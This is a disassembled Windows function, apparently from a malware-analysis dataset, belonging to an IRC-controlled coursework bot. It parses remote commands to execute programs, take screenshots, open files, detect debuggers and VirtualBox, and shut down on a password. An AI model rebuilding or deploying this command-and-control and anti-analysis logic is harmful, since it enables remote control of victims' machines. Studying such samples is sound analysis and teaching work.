Function at 0x401e7c
Capabilities:
Create process on windows
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1468
call fcn.00403690
sub esp, eax
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
call sym._rand
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.automata
mov dword [esp + 4], str._s_d
mov dword [esp], 0x409120
call sym._sprintf
mov byte [0x409128], 0
lea eax, [ebp - 0x238]
mov dword [eax], 0x53534150
mov dword [eax + 4], 0x44524f57
mov dword [eax + 8], 0x6f726920
mov dword [eax + 0xc], 0x3163696e
mov dword [eax + 0x10], 0xa0d3332
mov byte [eax + 0x14], 0
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
mov dword [esp + 0xc], str.Univ_Coursework_Exercise
mov dword [esp + 8], 0x409120
mov dword [esp + 4], str.USERNAME__s_0__:_s_r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
mov dword [esp + 8], 0x409120
mov dword [esp + 4], str.HANDLE__s_r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
call sym._IsDebuggerPresent_0
test eax, eax
setne al
test al, al
je 0x401fba
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Anti_debug
mov dword [esp + 4], str.Are_you_really_trying_that_
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x4028ab
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x1238]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x406198]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1fe
lea edx, [ebp - 0x1238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
test eax, eax
setg al
test al, al
je 0x40289a
mov dword [esp + 4], 0x40724c
lea eax, [ebp - 0x1238]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402877
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
je 0x402848
mov dword [esp + 8], 5
mov dword [esp + 4], str.PING
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._strncmp
test eax, eax
jne 0x40209a
mov byte [ebp - 0x237], 0x4f
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
movzx eax, byte [ebp - 0x238]
cmp al, 0x3a
jne 0x40284b
mov dword [esp + 4], 0x20
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._strchr
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40284e
add dword [ebp - 0x10], 1
mov dword [esp + 8], 3
mov dword [esp + 4], 0x407255
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncmp
test eax, eax
jne 0x402159
mov dword [esp + 0x20], str.You_cannot_win__only_Master.
mov dword [esp + 0x1c], 0x406020
mov dword [esp + 0x18], str.kingkong
mov dword [esp + 0x14], 0x406020
mov dword [esp + 0x10], str.kingkong
mov dword [esp + 0xc], 0x406020
mov dword [esp + 8], 0x409120
mov dword [esp + 4], str.CMD__s_i_r_nJOIN__s__s_r_nCMD__s_k__s_r_nTOPIC__s_:_s_r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
mov dword [esp + 8], 7
mov dword [esp + 4], 0x4072b4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncmp
test eax, eax
jne 0x402855
mov dword [esp + 4], 0x21
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._strchr
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402851
mov dword [esp + 8], 0xff
mov dword [esp + 4], 0
lea eax, [ebp - 0x1437]
mov dword [esp], eax
call sym._memset
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x238]
sub edx, eax
mov eax, edx
sub eax, 1
mov edx, eax
lea eax, [ebp - 0x238]
add eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x1437]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x4072b8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0x18], eax
mov dword [esp + 4], 0x4072b8
mov dword [esp], 0
call sym._strtok
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0x4072b8
mov dword [esp], 0
call sym._strtok
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0x4072ba
mov dword [esp], 0
call sym._strtok
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], 0
je 0x402871
add dword [ebp - 0x20], 1
mov dword [esp + 4], 0x4072bc
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x40229a
mov eax, dword [0x40915c]
test eax, eax
je 0x402293
mov dword [esp], 0
call sym._time
mov edx, eax
mov eax, dword [0x40915c]
sub edx, eax
mov eax, edx
cmp eax, 5
jle 0x40229a
mov eax, 1
jmp 0x40229f
mov eax, 0
test al, al
je 0x4022f8
mov dword [esp], 0
call sym._time
mov dword [0x40915c], eax
lea eax, [ebp - 0x1437]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Hi__s__Im_an_automation_thats_part_of_the_UoP_MALFOR_Coursework._r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
mov dword [esp + 4], str.IDSELF
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
sete al
test al, al
je 0x40235e
mov dword [esp + 0x10], 0x4090a0
mov dword [esp + 0xc], 0x409020
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:_s____s_r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
mov dword [esp + 4], str.EXEC
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x402382
cmp dword [ebp - 0x24], 0
je 0x402382
mov eax, 1
jmp 0x402387
mov eax, 0
test al, al
je 0x4023d1
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp al, 0x23
jne 0x4023ae
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym.exec_char_
jmp 0x402855
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Nice_try_...._r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
jmp 0x402855
mov dword [esp + 4], str.SYSMSG
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x4023f5
cmp dword [ebp - 0x24], 0
je 0x4023f5
mov eax, 1
jmp 0x4023fa
mov eax, 0
test al, al
je 0x402429
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], str.System_Message
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x402855
mov dword [esp + 4], str.DDOS
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x40244d
cmp dword [ebp - 0x24], 0
je 0x40244d
mov eax, 1
jmp 0x402452
mov eax, 0
test al, al
je 0x402490
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Takedown_...._r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
mov dword [esp + 4], str.DOWNLOAD
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x4024b4
cmp dword [ebp - 0x24], 0
je 0x4024b4
mov eax, 1
jmp 0x4024b9
mov eax, 0
test al, al
je 0x4024f7
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Get_that_...._r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
mov dword [esp + 4], 0x40739b
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
sete al
test al, al
je 0x40251d
call sym.CaptureScreenshot__
jmp 0x402855
mov dword [esp + 4], str.OPEN
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x402541
cmp dword [ebp - 0x24], 0
je 0x402541
mov eax, 1
jmp 0x402546
mov eax, 0
test al, al
je 0x402585
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
jmp 0x402855
mov dword [esp + 4], str.COLORINGBOOK
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
sete al
test al, al
je 0x4025dd
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.mspaint
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
jmp 0x402855
mov dword [esp + 4], str.VMVB
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
sete al
test al, al
je 0x402676
call sym.is_inside_virtualbox__
test al, al
je 0x40263c
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:Inside_Virtual_Box___Good_...._r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:_Not_inside_Virtual_Box___Bad_...._r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x406198]
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x402855
mov dword [esp + 4], str.SHUTDOWN
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._stricmp
test eax, eax
jne 0x40269a
cmp dword [ebp - 0x24], 0
je 0x40269a
mov eax, 1
jmp 0x40269f
mov eax, 0
test al, al
je 0x402855
mov eax, dword [0x406198]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], edx
lea edx, [ebp - 0x1437]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], eax
call sym.getShutdownPw__
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4027bd
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], str.MSG__s_:Shutdown_password_entered___automation_shutting_down_r_n
lea eax, [ebp - 0x1338]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1338]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
lea eax, [ebp - 0x1338]
mov dword [eax], 0x54495551
mov dword [eax + 4], 0x75413a20
mov dword [eax + 8], 0x616d6f74
mov dword [eax + 0xc], 0x6e6f6974
mov dword [eax + 0x10], 0x75687320
mov dword [eax + 0x14], 0x776f6474
mov dword [eax + 0x18], 0xa0d6e
lea eax, [ebp - 0x1338]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Automation_shutdown_by_user__s.__Would_you_like_to_restart_it_
lea eax, [ebp - 0x1338]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], 0x1004
mov dword [esp + 8], str.Automation_shutdown
lea eax, [ebp - 0x1338]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
cmp eax, 6
sete al
test al, al
jne 0x402854
mov dword [esp], 0
call sym._exit
mov dword [esp + 4], str.xtybtgpv
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x402808
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], str.MSG__s_:not_that_one__sorry.._wrong_pw__r_n
lea eax, [ebp - 0x1338]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1338]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
jmp 0x40283b
mov dword [esp + 8], 0x406020
mov dword [esp + 4], str.MSG__s_:wrong_pw_r_n
lea eax, [ebp - 0x1338]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1338]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym.writeLine_unsigned_int__char_
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._free
jmp 0x402855
nop
jmp 0x402855
nop
jmp 0x402855
nop
jmp 0x402855
nop
jmp 0x402855
nop
mov dword [esp + 4], 0x40724c
mov dword [esp], 0
call sym._strtok
mov dword [ebp - 0xc], eax
jmp 0x402028
nop
jmp 0x402028
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._memset
jmp 0x401fd8
mov eax, dword [0x406198]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
nop
leave
ret